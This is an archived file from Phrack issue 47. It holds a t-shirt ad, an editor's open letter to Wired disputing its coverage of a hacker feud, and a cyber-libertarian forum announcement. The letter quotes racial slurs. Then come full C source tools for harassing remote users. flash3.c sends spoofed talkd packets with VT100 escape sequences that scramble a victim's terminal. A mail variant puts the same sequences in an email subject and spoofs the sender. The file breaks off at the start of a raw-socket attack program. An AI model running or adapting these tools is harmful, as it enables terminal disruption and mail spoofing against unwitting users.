home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack47.tx4 < prev    next >
Encoding:
Text File  |  2003-06-11  |  63.7 KB  |  2,039 lines

  1.                          ==Phrack Magazine==
  2.  
  3.               Volume Six, Issue Forty-Seven, File 4 of 22
  4.  
  5.  
  6.                            //   //  /\   //   ====
  7.                           //   //  //\\ //   ====
  8.                          ==== //  //  \\/   ====
  9.  
  10.                      /\   //  // \\    //  /===   ====
  11.                     //\\ //  //   //  //   \=\   ====
  12.                    //  \\/    \\ //  //   ===/  ====
  13.  
  14.                                  PART II
  15.  
  16. ------------------------------------------------------------------------------
  17.  
  18. The official Legion of Doom t-shirts are stll available!!!
  19. Join the net luminaries world-wide in owning one of these amazing
  20. shirts.  Impress members of the opposite sex, increase your IQ,
  21. annoy system administrators, get raided by the government and
  22. lose your wardrobe!
  23.  
  24. Can a t-shirt really do all this?  Of course it can!
  25.  
  26. --------------------------------------------------------------------------
  27.  
  28. "THE HACKER WAR  --  LOD vs MOD"
  29.  
  30. This t-shirt chronicles the infamous "Hacker War" between rival
  31. groups The Legion of Doom and  The Masters of Destruction.  The front
  32. of the shirt displays a flight map of the various battle-sites
  33. hit by MOD and tracked by LOD.  The back of the shirt
  34. has a detailed timeline of the key dates in the conflict, and
  35. a rather ironic quote from an MOD member.
  36.  
  37. (For a limited time, the original is back!)
  38.  
  39. "LEGION OF DOOM  --  INTERNET WORLD TOUR"
  40.  
  41. The front of this classic shirt displays "Legion of Doom Internet World
  42. Tour" as well as a sword and telephone intersecting the planet
  43. earth, skull-and-crossbones style.  The back displays the
  44. words "Hacking for Jesus" as well as a substantial list of "tour-stops"
  45. (internet sites) and a quote from Aleister Crowley.
  46.  
  47. --------------------------------------------------------------------------
  48.  
  49. All t-shirts are sized XL, and are 100% cotton.
  50.  
  51. Cost is $15.00 (US) per shirt.  International orders add $5.00 per shirt for
  52. postage.
  53.  
  54. Send checks or money orders.  Please, no credit cards, even if
  55. it's really your card.
  56.  
  57.  
  58. Name:       __________________________________________________
  59.  
  60. Address:    __________________________________________________
  61.  
  62. City, State, Zip:   __________________________________________
  63.  
  64.  
  65. I want ____ "Hacker War" shirt(s)
  66.  
  67. I want ____ "Internet World Tour" shirt(s)
  68.  
  69. Enclosed is $______ for the total cost.
  70.  
  71.  
  72. Mail to:   Chris Goggans
  73.            603 W. 13th #1A-278
  74.            Austin, TX 78701
  75.  
  76.  
  77. These T-shirts are sold only as a novelty items, and are in no way
  78. attempting to glorify computer crime.
  79.  
  80. ------------------------------------------------------------------------------
  81.  
  82. [The editor's Open Letter to Wired Magazine...they actually had the nerve
  83.  to print it in their May issue.  Amazing...or was it?  The letter was posted
  84.  to 10 USENET newsgroups, put on the Wired forums on AOL, Mindvox and the Well,
  85.  sent in email to every user of wired.com, faxed to all 7 fax machines at
  86.  Wired and sent to them registered mail.  Probably more than 5 times
  87.  Wired's paid circulation saw it, so they HAD to print it or look foolish.
  88.  At least, that's my take on it.  Just for overkill, here it is again.]
  89.  
  90. To Whom It May Concern:
  91.  
  92. I am writing this under the assumption that the editorial staff at
  93. Wired will "forget" to print it in the upcoming issue, so I am
  94. also posting it on every relevant newsgroup and online discussion forum
  95. that I can think of.
  96.  
  97. When I first read your piece "Gang War In Cyberspace" I nearly choked on
  98. my own stomach bile.  The whole tone of this piece was so far removed from
  99. reality that I found myself questioning what color the sky must be
  100. in Wired's universe.  Not that I've come to expect any better from Wired.
  101. Your magazine, which could have had the potential to actually do something,
  102. has become a parody...a politically correct art-school project that
  103. consistently falls short of telling the whole story or making a solid point.
  104. (Just another example of Kapor-Kash that ends up letting everyone down.)
  105.  
  106. I did however expect more from Josh Quittner.
  107.  
  108. I find it interesting that so much emphasis can be placed on an issue of
  109. supposed racial slurs as the focus of an imaginary "gang war," especially
  110. so many years after the fact.
  111.  
  112. It's also interesting to me that people keep overlooking the fact that one of
  113. the first few members of our own little Legion of Doom was black (Paul
  114. Muad'dib.)  Maybe if he had not died a few years back that wouldn't be
  115. so quickly forgotten.  (Not that it makes a BIT of difference what color
  116. a hacker is as long as he or she has a brain and a modem, or these days
  117. at least a modem.)
  118.  
  119. I also find it interesting that a magazine can so easily implicate someone
  120. as the originator of the so-called "fighting words" that allegedly sparked
  121. this online-battle, without even giving a second thought as to the damage
  122. that this may do to the person so named.  One would think that a magazine
  123. would have more journalistic integrity than that (but then again, this IS
  124. Wired, and political correctness sells magazines and satisfies advertisers.)
  125. Thankfully, I'll only have to endure one month of the "Gee Chris, did you
  126. know you were a racist redneck?" phone calls.
  127.  
  128. It's further odd that someone characterized as so sensitive to insults
  129. allegedly uttered on a party-line could have kept the company he did.
  130. Strangely enough, Quittner left out all mention of the MOD member who called
  131. himself "SuperNigger."  Surely, John Lee must have taken umbrage to an
  132. upper-middle class man of Hebrew descent so shamefully mocking him and
  133. his entire race, wouldn't he?   Certainly he wouldn't associate in any way
  134. with someone like that...especially be in the same group with, hang out with,
  135. and work on hacking projects with, would he?
  136.  
  137. Please, of course he would, and he did.  (And perhaps he still does...)
  138.  
  139. The whole "racial issue" was a NON-ISSUE.  However, such things make
  140. exciting copy and garner many column inches so keep being rehashed.  In
  141. fact, several years back when the issue first came up, the statement was
  142. cited as being either "Hang up, you nigger," or "Hey, SuperNigger," but
  143. no one was sure which was actually said.  Funny how the wording changes
  144. to fit the slant of the "journalist" over time, isn't it?
  145.  
  146. I wish I could say for certain which was actually spoken, but alas, I was not
  147. privy to such things.  Despite the hobby I supposedly so enjoyed according
  148. to Quittner, "doing conference bridges," I abhorred the things.  We used to
  149. refer to them as "Multi-Loser Youps" (multi-user loops) and called their
  150. denizens "Bridge Bunnies."  The bridge referred to in the story was
  151. popularized by the callers of the 5A BBS in Houston, Texas.  (A bulletin board,
  152. that I never even got the chance to call, as I had recently been raided by
  153. the Secret Service and had no computer.)  Many people from Texas did call
  154. the BBS, however, and subsequently used the bridge, but so did people from
  155. Florida, Arizona, Michigan, New York and Louisiana.  And as numbers do in the
  156. underground, word of a new place to hang out caused it to propagate rapidly.
  157.  
  158. To make any implications that such things were strictly a New York versus Texas
  159. issue is ludicrous, and again simply goes to show that a "journalist" was
  160. looking for more points to add to his (or her) particular angle.
  161.  
  162. This is not to say that I did not have problems with any of the people
  163. who were in MOD.  At the time I still harbored strong feelings towards
  164. Phiber Optik for the NYNEX-Infopath swindle, but that was about it.
  165. And that was YEARS ago.  (Even I don't harbor a grudge that long.)
  166. Even the dozen or so annoying phone calls I received in late 1990 and
  167. early 1991 did little to evoke "a declaration of war."  Like many people,
  168. I know how to forward my calls, or unplug the phone.  Amazing how technology
  169. works, isn't it?
  170.  
  171. Those prank calls also had about as much to do with the formation of Comsec as
  172. bubble-gum had to do with the discovery of nuclear fission.  (I'm sure if you
  173. really put some brain power to it, and consulted Robert Anton Wilson,
  174. you could find some relationships.)  At the risk of sounding glib, we
  175. could have cared less about hackers at Comsec.  If there were no hackers,
  176. or computer criminals, there would be no need for computer security
  177. consultants.  Besides, hackers account for so little in the real picture
  178. of computer crime, that their existence is more annoyance than something
  179. to actually fear.
  180.  
  181. However, when those same hackers crossed the line and began tapping our
  182. phone lines, we were more than glad to go after them.  This is one of my only
  183. rules of action:  do whatever you want to anyone else, but mess with me and
  184. my livelihood and I will devote every ounce of my being to paying you back.
  185. That is exactly what we did.
  186.  
  187. This is not to say that we were the only people from the computer underground
  188. who went to various law enforcement agencies with information about
  189. MOD and their antics.  In fact, the number of hackers who did was staggering,
  190. especially when you consider the usual anarchy of the underground.  None of
  191. these other people ever get mentioned and those of us at Comsec always take
  192. the lead role as the "narks," but we were far from alone.  MOD managed to
  193. alienate the vast majority of the computer underground, and people reacted.
  194.  
  195. All in all, both in this piece, and in the book itself, "MOD, The Gang That
  196. Ruled Cyberspace," Quittner has managed to paint a far too apologetic piece
  197. about a group of people who cared so very little about the networks they
  198. played in and the people who live there.  In the last 15 years that I've
  199. been skulking around online, people in the community have always tended
  200. to treat each other and the computers systems they voyeured with a great deal
  201. of care and respect.  MOD was one of the first true examples of a groupthink
  202. exercise in hacker sociopathy.  Selling long distance codes, selling credit
  203. card numbers, destroying systems and harassing innocent people is not
  204. acceptable behavior among ANY group, even the computer underground.
  205.  
  206. There have always been ego flares and group rivalries in the underground, and
  207. there always will be.  The Legion of Doom itself was FOUNDED because of a
  208. spat between its founder (Lex Luthor) and members of a group called The Knights
  209. of Shadow.  These rivalries keep things interesting, and keep the community
  210. moving forward, always seeking the newest bit of information in a series
  211. of healthy one-upsmanship.  MOD was different.  They took things too far
  212. against everyone, not just against two people in Texas.
  213.  
  214. I certainly don't condemn everyone in the group.  I don't even know
  215. a number of them (electronically or otherwise.)  I honestly believe
  216. that Mark Abene (Phiber) and Paul Stira (Scorpion) got royally screwed while
  217. the group's two biggest criminals, Julio Fernandez (Outlaw) and Allen Wilson
  218. (Wing), rolled over on everyone else and walked away free and clear.  This is
  219. repulsive when you find out that Wing in particular has gone on to be
  220. implicated in more damage to the Internet (as Posse and ILF) than anyone in
  221. the history of the computing.  This I find truly disgusting, and hope that
  222. the Secret Service are proud of themselves.
  223.  
  224. Imagine if I wrote a piece about the terrible treatment of a poor prisoner
  225. in Wisconsin who was bludgeoned to death by other inmates while guards
  226. looked away.  Imagine if I tried to explain the fact that poor Jeff Dahmer was
  227. provoked to murder and cannibalism by the mocking of adolescent boys who teased
  228. and called him a faggot.  How would you feel if I tried to convince you that we
  229. should look upon him with pity and think of him as a misunderstood political
  230. prisoner?  You would probably feel about how I do about Quittner's story.
  231.  
  232. 'Hacker' can just as easily be applied to "journalists" too, and with this
  233. piece Quittner has joined the Hack Journalist Hall of Fame, taking his
  234. place right next to Richard Sandza.
  235.  
  236. Quittner did get a few things right.  I do have a big cat named Spud, I do
  237. work at a computer company and I do sell fantastic t-shirts.  Buy some.
  238.  
  239. With Love,
  240.  
  241. Chris Goggans
  242. aka Erik Bloodaxe
  243.  
  244. phrack@well.com
  245.  
  246. ------------------------------------------------------------------------------
  247.  
  248. From: DigitaLiberty@phantom.com
  249.  
  250. Subject: Announcing - The DigitaLiberty Forum
  251.  
  252. PLEASE RE-DISTRIBUTE THIS AS YOU SEE FIT
  253.  
  254. Friends of Liberty,
  255.  
  256. It is becoming increasingly apparent that the arrival of cyberspace is
  257. destined to engender a fundamental discontinuity in the course of human
  258. relations.  This is a source of great optimism and opportunity for those of
  259. us who believe in freedom.
  260.  
  261. Many of you who participate in the lively debates that take place in these
  262. forums have seen a number of activist organizations spring up claiming  to
  263. represent the cause of freedom.  And if you are like me you have cheered
  264. these groups on only to watch them get bogged down in a quagmire of
  265. realpolitics.  
  266.  
  267. It is a sad fact that the beast in Washington has evolved into a
  268. self-perpetuating engine expert at co-opting the principles of even the most
  269. ardent reformers.  Slowly but surely all those who engage the system are
  270. ultimately absorbed into the mainstream miasma of majoritarianism.  For
  271. example, what can be more discouraging than watching an organization that
  272. started out as a civil liberties group shift its focus to creating new forms
  273. of government entitlements while endorsing intrusive wiretap legislation
  274. because they didn't want to jeopardize their influence and prestige amongst
  275. the Washington power elite?
  276.  
  277. Some of us believe we can seek ultimate redress at the polls.  Many pundits
  278. have declared our recent national elections a watershed in politics, a
  279. turning point that represents the high water mark of big government.
  280.  Nonsense.  The names have changed, the chairs have been rearranged, but the
  281. game remains the same.  The so-called "choices" we are presented with are
  282. false, hardly better than the mock one-party elections held by failed
  283. totalitarian regimes.  There must be a better way.
  284.  
  285. I would like to announce the formation of a new group - DigitaLiberty - that
  286. has chosen a different path.  We intend to bypass the existing political
  287. process.  We reject consensus building based on the calculus of compromise.
  288.  Instead we plan to leave the past behind, much as our pioneering forefathers
  289. did when they set out to settle new lands.  It is our mission to create the
  290. basis for a different kind of society.  If you would like to join us I invite
  291. you to read the information below.
  292.  
  293. Yours in freedom,
  294.  
  295.  
  296.  
  297. Bill Frezza
  298. Co-founder, DigitaLiberty
  299. December 1994
  300.  
  301.  
  302.  
  303. ***  What is DigitaLiberty?
  304.  
  305. DigitaLiberty is an advocacy group dedicated to the principled defense of
  306. freedom in cyberspace.  We intend to conduct this defense not by engaging in
  307. traditional power politics but by setting an active, persuasive example -
  308. creating tangible opportunities for others to join us as we construct new
  309. global communities.  
  310.  
  311. We believe deeply in free markets and free minds and are convinced that we
  312. can construct a domain in which the uncoerced choices of individuals supplant
  313. the social compact politics of the tyranny of the majority. 
  314.  
  315. ***  Is DigitaLiberty a political party or a lobbying group?
  316.  
  317. Neither.  
  318.  
  319. DigitaLiberty does not seek to educate or influence politicians in the hope
  320. of obtaining legislation favorable to our constituents.  We plan to make
  321. politicians and legislators irrelevant to the future of network based
  322. commerce, education, leisure, and social intercourse.
  323.  
  324. DigitaLiberty does not seek to persuade a majority of the electorate to adopt
  325. views which can then be forced upon the minority.  We hope to make
  326. majoritarianism irrelevant.  We invite only like minded individuals to help
  327. us build the future according to our uncompromised shared values.  
  328.  
  329.  
  330. *** What do you hope to accomplish?
  331.  
  332. DigitaLiberty is not hopeful that widespread freedom will come to the
  333. physical world, at least not in our lifetime.  Too many constituencies depend
  334. upon the largess and redistributive power of national governments and
  335. therefore oppose freedom and the individual responsibility it entails.  But
  336. we do believe that liberty can and will prevail in the virtual domains we are
  337. building on the net and that national governments will be powerless to stop
  338. us.  We believe that cyberspace will transcend national borders, national
  339. cultures, and national economies.  We believe that no one will hold
  340. sovereignty over this new realm because coercive force is impotent in
  341. cyberspace.
  342.  
  343. In keeping with the self-organizing nature of on-line societies we believe we
  344. will chose to invent new institutions to serve our varied economic and social
  345. purposes.  DigitaLiberty intends to be in the forefront of the discovery and
  346. construction of these institutions.  
  347.  
  348. ***  But what about the construction of the "Information Superhighway"?
  349.  
  350. The fabric of cyberspace is rapidly being built by all manner of entities
  351. espousing the full range of political and economic philosophies.   While
  352. political activity can certainly accelerate or retard the growth of the net
  353. in various places and times it cannot stop it nor can it effectively control
  354. how the net will be used.  
  355.  
  356. Our focus is not on the institutions that can and will impact the building of
  357. the physical "information highway" but on those that will shape life on the
  358. net as an ever increasing portion of our productive activities move there.
  359.  
  360. ***  What makes you think cyberspace will be so different?
  361.  
  362. The United States of America was the only country in history ever to be built
  363. upon an idea.  Unfortunately, this idea was lost as we slowly traded away our
  364. liberties in exchange for the false promise of security.
  365.  
  366. DigitaLiberty believes that technology can set us free.  The economies of the
  367. developed world are now making a major transition from an industrial base to
  368. an information base.  As they do, the science of cryptology will finally and
  369. forever guarantee the unbreachable right of privacy, protecting individuals,
  370. groups, and corporations from the prying eyes and grasping hands of
  371. sovereigns.  We will all be free to conduct our lives, and most importantly
  372. our economic relations, as we each see fit.  
  373.  
  374. Cyberspace is also infinitely extensible.   There will be no brutal
  375. competition for lebensraum.  Multiple virtual communities can exist side by
  376. side and without destructive conflict, each organized according to the
  377. principles of their members.  We seek only to build one such community, a
  378. community based on individual liberty.  Others are free to build communities
  379. based on other principles, even diametrically opposed principles.  But they
  380. must do so without our coerced assistance.
  381.  
  382. Effective communities will thrive and grow.  Dysfunctional communities will
  383. wither and die.  And for the first time in human history, rapacious societies
  384. will no longer have the power to make war on their neighbors nor can bankrupt
  385. communities take their neighbors down with them.  
  386.  
  387. ***  What does this have to do with my real life?  I can't eat data.  I don't
  388. live in a computer.
  389.  
  390. Yes, but imagine the ultimate impact of mankind's transition from an agrarian
  391. economy to an industrial economy to an information economy.  Our founding
  392. fathers would have consider anyone insane who predicted that a nation of 250
  393. million could feed itself with fewer than 3% of its citizens involved in
  394. agriculture.  Similarly, economists and politicians trapped in the policies
  395. of the past lament our move from a manufacturing economy to a knowledge
  396. worker and service based economy.  We see this as a cause to rejoice.
  397.  
  398. The day will come when fewer than 5% of the citizens of a nation of 1 billion
  399. will be involved in manufacturing - if we still bother calling geographically
  400. defined entities "nations".  What will the rest of us be doing?  We will be
  401. providing each other with an exploding array of services and we will be
  402. creating, consuming, and exchanging information.  Most of this will occur
  403. entirely within or be mediated at least in part by our activities in
  404. cyberspace.  
  405.  
  406. Many of us will earn a very good living on the net.  Our race, our religion,
  407. our gender, our age, our physical appearance and limitations will all be
  408. irrelevant and undetectable.  Hard working individuals from underdeveloped
  409. nations who in the past might have been forced to emigrate in search of
  410. economic freedom and opportunity can now build productive lives in
  411. cyberspace.  And much if not all of the wealth we create that we do not
  412. transform into visible physical assets will be ours to keep and use, beyond
  413. the grasp of sovereigns.  
  414.  
  415. *** What is the purpose of this forum?
  416.  
  417. The DigitaLiberty Forum is a place where like minded individuals can share
  418. their views, observations, and strategies related to the development of
  419. virtual communities based on freedom.  It is a place where people can
  420. exchange information and advice about how they have developed
  421. extra-territorial business and social relationships  - away from the
  422. influence and outside the jurisdiction of governments.  It is a forum for the
  423. posting of essays, questions, and ideas on the topic of liberty.  It is a
  424. place where we can meet and debate the forms that our  new institutions might
  425. take and discuss the practical problems and responsibilities that freedom
  426. entail.
  427.  
  428. In time as our technology matures some of us will move on to more ambitious
  429. projects, launch other programs, and begin our virtual migration from the
  430. swamp of coerced collectivism.  Best of all, there will be no need to
  431. physically move to 'Galt's Gulch' or escape to a floating 'Freedonia'.  We
  432. can all participate in this exodus without hastily quitting our jobs or
  433. disrupting our lives.  And as a larger and larger portion of our economic and
  434. social activities move onto the net we will create a new society, open to all
  435. with the will to enter.  This new world will be interleaved with the physical
  436. world in which we now live and yet will be separate.  And free.
  437.  
  438. Join us as we begin the journey.
  439.  
  440. *** Who can join DigitaLiberty?
  441.  
  442. The DigitaLiberty Forum is open to anyone that can honestly answer yes to the
  443. following two questions:
  444.  
  445. 1)  I renounce the use of coercive force as a tool of social or economic
  446. policy.
  447.  
  448. 2)  I do not derive the majority of my income from funds taken from
  449. taxpayers.
  450.  
  451. *** How do I join DigitaLiberty?
  452.  
  453. If you qualify, send a message to DigitaLiberty-request@phantom.com with the
  454. words "SUBSCRIBE" in the subject line and the message body as follows
  455.  
  456. SUBSCRIBE DigitaLiberty <your name>
  457.  
  458. And welcome to the future.
  459.  
  460. ###
  461.  
  462. ------------------------------------------------------------------------------
  463. /* flash3.c */
  464.  
  465. /* 
  466.    Modified from the original by Vassago. Superflash mods unknown.
  467.    Try the PhoEniX FTP Site: wentz21.reslife.okstate.edu in /pub.
  468. */
  469.  
  470. /* 
  471.     This little program is intended to quickly mess up a user's
  472.     terminal by issuing a talk request to that person and sending
  473.     vt100 escape characters that force the user to logout or kill
  474.     his/her xterm in order to regain a sane view of the text.
  475.     It the user's message mode is set to off (mesg n) he/she will
  476.     be unharmed. 
  477.  
  478.     Try compiling with: gcc -o flash flash3.c
  479.  
  480.     Usage: flash user@host [<level>]
  481.    
  482.     Level is either the number or the word for these:
  483.       1)  BASIC  - Old flash, no zmodem. 
  484.       2)  ZMODEM - Old with ZModem.
  485.       3)  KILLER - 99 ZModem flashes. 
  486. */
  487.  
  488. #include <sys/types.h>
  489. #include <sys/socket.h>
  490. #include <netinet/in.h>
  491. #include <netdb.h>
  492. #include <stdio.h>
  493. #include <strings.h>
  494. #include <string.h>
  495. #include <ctype.h>
  496.  
  497. #define BASIC  1
  498. #define ZMODEM 2
  499. #define KILLER 3
  500.  
  501. #define FIRST "\033(0\033#8" 
  502. #define SECOND "\033[1;3r"
  503. #define THIRD  "\033[1;5m\033(0"
  504. #define FOURTH "**\030B00"
  505. #define FIFTH  "\033**EMSI_IRQ8E08"
  506.  
  507. /* Comment this to remove the debugging message... */
  508. #define INFOMESSAGE
  509.  
  510. /* this should really be in an include file..  */
  511.  
  512. #define OLD_NAME_SIZE 9
  513. #define NAME_SIZE    12
  514. #define TTY_SIZE     16 
  515. typedef struct {
  516.     char    type;
  517.     char    l_name[OLD_NAME_SIZE];
  518.     char    r_name[OLD_NAME_SIZE];
  519.     char    filler;
  520.     u_long  id_num;
  521.     u_long  pid;
  522.     char    r_tty[TTY_SIZE];
  523.     struct  sockaddr_in addr;
  524.     struct  sockaddr_in ctl_addr;
  525. } OLD_MSG;
  526.  
  527. typedef struct {
  528.     u_char  vers;
  529.     char    type;
  530.     u_short filler;
  531.     u_long  id_num;
  532.     struct  sockaddr_in addr;
  533.     struct  sockaddr_in ctl_addr;
  534.     long    pid;
  535.     char    l_name[NAME_SIZE];
  536.     char    r_name[NAME_SIZE];
  537.     char    r_tty[TTY_SIZE];
  538. } CTL_MSG;
  539.  
  540. int seed = 0x2837;
  541.  
  542. #define TALK_VERSION    1               /* protocol version */
  543.  
  544. /* Types */
  545. #define LEAVE_INVITE    0
  546. #define LOOK_UP         1
  547. #define DELETE          2
  548. #define ANNOUNCE        3
  549.  
  550. int     current = 1;    /* current id..  this to avoid duplications */
  551.  
  552. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  553. {
  554. static  struct sockaddr    addr;
  555. struct  sockaddr_in *address;
  556. struct  hostent     *host;
  557.  
  558. address = (struct sockaddr_in *)&addr;
  559. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  560. /* fill in the easy fields */
  561. address->sin_family = AF_INET;
  562. address->sin_port = htons(port);
  563. /* first, check if the address is an ip address */
  564. address->sin_addr.s_addr = inet_addr(hostname);
  565. if ( (int)address->sin_addr.s_addr == -1)
  566.     {
  567.     /* it wasn't.. so we try it as a long host name */
  568.     host = gethostbyname(hostname);
  569.     if (host)
  570.         {
  571.         /* wow.  It's a host name.. set the fields */
  572.         /* ?? address->sin_family = host->h_addrtype; */
  573.         bcopy( host->h_addr, (char *)&address->sin_addr,
  574.             host->h_length);
  575.         }
  576.     else
  577.         {
  578.         /* oops.. can't find it.. */
  579.         puts("Flash aborted, could not find address."); 
  580.         exit(-1);
  581.         return (struct sockaddr_in *)0;
  582.         }
  583.     }
  584. /* all done. */
  585. return (struct sockaddr_in *)address;
  586. }
  587.  
  588. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  589. {
  590. int     s;
  591. struct sockaddr sample; /* not used.. only to get the size */
  592.  
  593. s = socket(AF_INET, SOCK_DGRAM, 0);
  594. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  595.  
  596.  
  597. new_ANNOUNCE(char *hostname, char *remote, char *local)
  598. {
  599. CTL_MSG  packet; 
  600. struct   sockaddr_in  *address;
  601.  
  602. /* create a packet */
  603. address = getinaddr(hostname, 666 );  
  604. address->sin_family = htons(AF_INET); 
  605.  
  606. bzero( (char *)&packet, sizeof(packet) );
  607. packet.vers   = TALK_VERSION; 
  608. packet.type   = ANNOUNCE;   
  609. packet.pid    = getpid();
  610. packet.id_num = current;
  611. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  612. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  613. strncpy( packet.l_name, local, NAME_SIZE); 
  614. strncpy( packet.r_name, remote, NAME_SIZE); 
  615. strncpy( packet.r_tty, "", 1); 
  616.  
  617. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  618. }
  619.  
  620. old_ANNOUNCE(char *hostname, char *remote, char *local)
  621. {
  622. OLD_MSG  packet;
  623. struct   sockaddr_in  *address;
  624.  
  625. /* create a packet */
  626. address = getinaddr(hostname, 666 );
  627. address->sin_family = htons(AF_INET);
  628.  
  629. bzero( (char *)&packet, sizeof(packet) );
  630. packet.type   = ANNOUNCE;
  631. packet.pid    = getpid();
  632. packet.id_num = current;
  633. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  634. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  635. strncpy( packet.l_name, local, NAME_SIZE);
  636. strncpy( packet.r_name, remote, NAME_SIZE);
  637. strncpy( packet.r_tty, "", 1);
  638.  
  639. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  640. }
  641.  
  642. int rnd()
  643. {
  644.   seed *=0x1243;
  645.   seed = seed & 0xFFFF;
  646.   seed +=1;
  647.   while(seed>10000)seed-=10000;
  648.   return(seed);
  649. }
  650.  
  651.  
  652. pop(char *hostname, char *username, char *flashstring)
  653. {
  654.   char newflashstr[80];
  655.   int e = rnd();
  656.   sprintf(newflashstr,"%d%s",e,flashstring); 
  657.   new_ANNOUNCE(hostname, username, newflashstr); 
  658.   old_ANNOUNCE(hostname, username, newflashstr);
  659. }    
  660.  
  661. flash(int type, char *hostname, char *username)
  662. {
  663.      char firestring[10];
  664.      int x,y;
  665.  
  666.      current=0;
  667.      if (type == 3) y = 14;
  668.      else y = 1;
  669.  
  670.      for(x=0;x<y;x++)    
  671.      {
  672.     current++;
  673.     pop(hostname, username, FIRST);
  674.     current++; 
  675.     pop(hostname, username, SECOND);
  676.     current++;
  677.     pop(hostname, username, THIRD); 
  678.     if(type>1)
  679.     {
  680.       current++;
  681.       pop(hostname, username, FOURTH); 
  682.       current++;
  683.       pop(hostname, username, FIFTH); 
  684.       current++;
  685.       pop(hostname, username, FOURTH);
  686.     }
  687.     current++;
  688.     pop(hostname, username, FIRST); 
  689.      }
  690.     return(current);
  691. }
  692.  
  693. GetType(char *TypeStr)
  694. {
  695.     if (strcmp(TypeStr,"basic")==0)
  696.         return(1);
  697.     else if (strcmp(TypeStr,"zmodem")==0)
  698.         return(2);
  699.     else if (strcmp(TypeStr,"killer")==0)
  700.         return(3);
  701.     else if (strcmp(TypeStr,"1")==0)
  702.         return(1);
  703.     else if (strcmp(TypeStr,"2")==0)
  704.         return(2);
  705.     else if (strcmp(TypeStr,"3")==0)
  706.         return(3);
  707. }    
  708.  
  709. main(int argc, char *argv[])
  710. {
  711.     char    *hostname, *username; 
  712.     int     pid,type,name;
  713.  
  714.  
  715.     if ( (pid = fork()) == -1)  
  716.         {
  717.         perror("fork()");
  718.         exit(-1);
  719.         }
  720.     if ( !pid )
  721.         {
  722.         exit(0);
  723.         }
  724.     if (argc < 2) { 
  725.         puts("USAGE: flash user@host [<flash type>]");
  726.         puts("Types are: 1) basic, 2) zmodem, 3) killer.");
  727.         puts("Default flash type is zmodem.");
  728.         exit(5);
  729.     }
  730.     if (argc >= 3) {
  731.         type=GetType(argv[argc-1]);
  732.         if(type<1||type>3)type=ZMODEM;
  733.     }
  734.     else type=ZMODEM;   /* default */
  735.  
  736.     for(name=1; name<argc-1; name++)
  737.     {
  738.     username = argv[name]; 
  739.     if ( (hostname = (char *)strchr(username, '@')) == NULL )       
  740.         {
  741.         puts("Aborted, invalid name.  ");
  742.         exit(-1);
  743.         }
  744.     *hostname = '\0'; 
  745.     hostname++; 
  746.  
  747.     if (*username == '~') 
  748.         username++; 
  749. #ifdef INFOMESSAGE
  750.             printf("Sending a type #%d flash to %s@%s. (%d messages)\n",
  751.             type,username,hostname,
  752.             flash(type,hostname,username));
  753. #else
  754.     flash(type,hostname,username);
  755. #endif
  756.     sleep(1);
  757.     }
  758. }
  759.  
  760.  
  761. ------------------------------------------------------------------------------
  762.  
  763. /*
  764.  
  765.   Mail Flash - (C) 1994 CHA0S All Rights Reserved
  766.   
  767.   This is a simple program which demonstrates the problem with certain
  768.   parts of VT100 emulation.  Previously similar programs made use
  769.   of talkd, but a user could stop attempts by simply entering
  770.   "mesg n".  This program sends the "flash" string which will really
  771.   screw over a terminal in the SUBJECT header of e-mail.  E-Mail readers
  772.   such as pine show you this before you can decide to even delete the mail!
  773.   
  774.   Support has been added to choose your own SMTP server for neat-o hostname
  775.   spoofing.  (krad!)
  776.   
  777. */  
  778.  
  779. #include <stdio.h>
  780. #include <sys/param.h>
  781. #include <sys/socket.h>
  782. #include <netinet/in.h>
  783. #include <netdb.h>
  784. #include <stdarg.h>
  785.  
  786. void smtp_connect(char *server);
  787.  
  788. int thesock; /* the socket */
  789.  
  790. void smtp_connect(char *server)
  791. {
  792.   struct sockaddr_in sin;
  793.   struct hostent *hp;
  794.   
  795.   hp = gethostbyname(server);
  796.   if (hp==NULL) {
  797.     printf("Unknown host: %s\n",server);
  798.     exit(0);
  799.   }
  800.   bzero((char*) &sin, sizeof(sin));
  801.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  802.   sin.sin_family = hp->h_addrtype;
  803.   sin.sin_port = htons(25);
  804.   thesock = socket(AF_INET, SOCK_STREAM, 0);
  805.   connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
  806. }
  807.  
  808. void main(int argc, char **argv)
  809. {
  810.   char buf[1024];
  811.   
  812.   if (argc != 4) {
  813.     printf("usage: mflash smtp_server from to\n");
  814.     exit(0);
  815.   }
  816.   printf("Connecting to SMTP Server %s\n",argv[1]);
  817.   smtp_connect(argv[1]);
  818.   printf("Sending Mail Flash To %s\n",argv[3]);
  819.   sprintf(buf, "helo a\nmail from: %s\nrcpt to: %s\ndata\nSUBJECT: \033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h\n.\nquit\n",argv[2],argv[3]);
  820.   send(thesock, buf, strlen(buf), 0);
  821.   /* I am not sure how to check when this buffer is done being sent.
  822.      If you are having any problems increase the sleep time below! */
  823.   printf("Sleeping To Make Sure Data Is Sent ...\n");
  824.   sleep(3);
  825.   printf("Done!\n");
  826. }
  827.  
  828. ------------------------------------------------------------------------------
  829.  
  830. [Editor's Note:  Does this work?  I don't think so, but a clever hacker might
  831.  use the code to do something "interesting."  The concept is sound...the
  832.  delivery needs a bit of tweaking.]
  833.  
  834. #include <netdb.h>
  835. #include <sys/time.h>
  836. #include <sys/types.h>
  837. #include <sys/socket.h>
  838. #include <netinet/in.h>
  839. #include <netinet/in_systm.h>
  840. #include <netinet/ip.h>
  841. #include <netinet/ip_icmp.h>
  842. #include <netinet/tcp.h>
  843. #include <signal.h>
  844. #include <errno.h>
  845. #include <string.h>
  846. #include <stdlib.h>
  847. #include <stdio.h>
  848.  
  849. int 
  850. resolver(host,saddr)
  851.   char *host;
